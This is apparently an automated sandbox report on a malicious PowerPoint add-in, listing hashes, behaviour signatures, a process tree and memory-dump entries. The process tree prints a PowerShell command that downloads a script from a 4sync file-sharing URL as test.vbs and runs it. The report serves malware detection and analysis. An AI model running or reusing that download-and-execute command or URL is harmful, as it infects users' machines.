Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    19-01-2024 01:08

General

  • Target

    649d8fac10370a8922779669c5bbe8e93d4df493991ed8fa98a66de7b7d89560.ppam

  • Size

    10KB

  • MD5

    234504f9fcb3c9515f8034afdbee8571

  • SHA1

    44bd1cb504fb04bc06eda1b4119b37cd7263f559

  • SHA256

    649d8fac10370a8922779669c5bbe8e93d4df493991ed8fa98a66de7b7d89560

  • SHA512

    62cc313c353a9750a77a265034a4a2deae2b6b6991935cd6c922002a5498606d3ddd02c66cee1906c0a4b90de7531f22390d0b9c1d4beedc078cc1926c3af11c

  • SSDEEP

    192:xrXP/D4F6LgKM0wiLB9tZxWut0GkSskv/+KpOjN9nswlDDrCCDNHCtBq9p:dXPI60xsB9tZxWaPAKWNO+CCJf

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 35 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\649d8fac10370a8922779669c5bbe8e93d4df493991ed8fa98a66de7b7d89560.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:860
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/Ik0yKqsl/R3PwqwiF.39d2bc384ef53a8cc875c7c761801167 -o test.vbs; explorer.exe test.vbs
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\SysWOW64\explorer.exe
          "C:\Windows\system32\explorer.exe" test.vbs
          3⤵
            PID:2672
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        PID:2656

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2520-0-0x000000002D531000-0x000000002D532000-memory.dmp
        Filesize

        4KB

      • memory/2520-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/2520-2-0x0000000072A4D000-0x0000000072A58000-memory.dmp
        Filesize

        44KB

      • memory/2520-8-0x0000000005390000-0x0000000005490000-memory.dmp
        Filesize

        1024KB

      • memory/2520-21-0x0000000072A4D000-0x0000000072A58000-memory.dmp
        Filesize

        44KB

      • memory/2520-20-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/2656-19-0x0000000003A80000-0x0000000003A81000-memory.dmp
        Filesize

        4KB

      • memory/2656-18-0x0000000003A90000-0x0000000003AA0000-memory.dmp
        Filesize

        64KB

      • memory/2656-22-0x0000000003A80000-0x0000000003A81000-memory.dmp
        Filesize

        4KB

      • memory/2744-14-0x000000006BCE0000-0x000000006C28B000-memory.dmp
        Filesize

        5.7MB

      • memory/2744-17-0x000000006BCE0000-0x000000006C28B000-memory.dmp
        Filesize

        5.7MB

      • memory/2744-15-0x0000000002B10000-0x0000000002B50000-memory.dmp
        Filesize

        256KB

      • memory/2744-16-0x0000000002B10000-0x0000000002B50000-memory.dmp
        Filesize

        256KB

      • memory/2744-13-0x000000006BCE0000-0x000000006C28B000-memory.dmp
        Filesize

        5.7MB